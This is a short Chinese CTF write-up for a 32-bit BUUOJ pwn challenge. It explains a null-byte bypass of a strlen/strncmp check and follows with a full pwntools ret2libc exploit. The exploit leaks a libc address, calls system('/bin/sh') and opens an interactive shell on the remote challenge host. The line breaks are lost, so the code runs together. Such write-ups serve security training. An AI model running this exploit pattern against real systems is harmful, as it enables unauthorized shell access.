32位程序,主要是绕过的关键一步
int __cdecl sub_804871F(int a1){size_t v1; // eax@1char s; // [sp+Ch] [bp-4Ch]@1char buf[7]; // [sp+2Ch] [bp-2Ch]@1unsigned __int8 v5; // [sp+33h] [bp-25h]@2int v6; // [sp+4Ch] [bp-Ch]@1memset(&s, 0, 0x20u);memset(buf, 0, 0x20u);sprintf(&s, "%ld", a1);v6 = read(0, buf, 0x20u);buf[v6 - 1] = 0;v1 = strlen(buf);if ( strncmp(buf, &s, v1) )exit(0);write(1, "Correct\n", 8u);return v5;
strlen()函数原型:size_t strlen ( const char * str );函数功能:返回C字符串str的长度。C字符串的长度由终止的空字符确定:C字符串的长度与字符串开头和终止的空字符之间的字符数一样长(不包括终止的空字符本身)。strncmp()函数原型:int strncmp ( const char * str1, const char * str2, size_t num );函数功能:比较两个字符串的字符,比较C字符串str1的num字符和C字符串str2的num字符。这个函数开始比较每个字符串的第一个字符。如果它们彼此相等,则继续执行以下操作,直到字符不同为止,直到到达一个终止的空字符,或者直到两个字符串中的num字符匹配为止(以先发生的情况为准)。string1 > string2 return 1string1 = string2 return 0string1 < string2 return -1
read以 \n 结束
strlen以 \x00 结束
让 v1 变成0,返回0不会退出程序
之后返回一个参数给下一个函数,把值覆盖为最大 \xff 使下一个函数可以溢出
from pwn import *from LibcSearcher import *content = 0context(os='linux', arch='x86', log_level='debug')elf = ELF("pwn")main_addr = 0x08048825write_plt = elf.plt["write"]write_got = elf.got["write"]def correct():payload = b'\x00\x00\x00\x00' + b'\xff\xff\xff\xff'peiqi.sendline(payload)peiqi.recvuntil("Correct\n")def main():global peiqiif content == 1:peiqi = process("pwn")else:peiqi = remote("node3.buuoj.cn",28691)correct()payload = b'a' * (0xe7 + 4)payload = payload + p32(write_plt) + p32(main_addr)payload = payload + p32(1) + p32(write_got) + p32(0x8)peiqi.sendline(payload)write_addr = u32(peiqi.recv(4))log.success("write_addr :" + str(hex(write_addr)))libc = LibcSearcher('write', write_addr)libc_base = write_addr - libc.dump('write')system_addr = libc_base + libc.dump("system")bin_sh_addr = libc_base + libc.dump("str_bin_sh")correct()payload = b'a' * (0xe7 + 4)payload = payload + p32(system_addr) + p32(1) + p32(bin_sh_addr)peiqi.sendline(payload)peiqi.interactive()main()

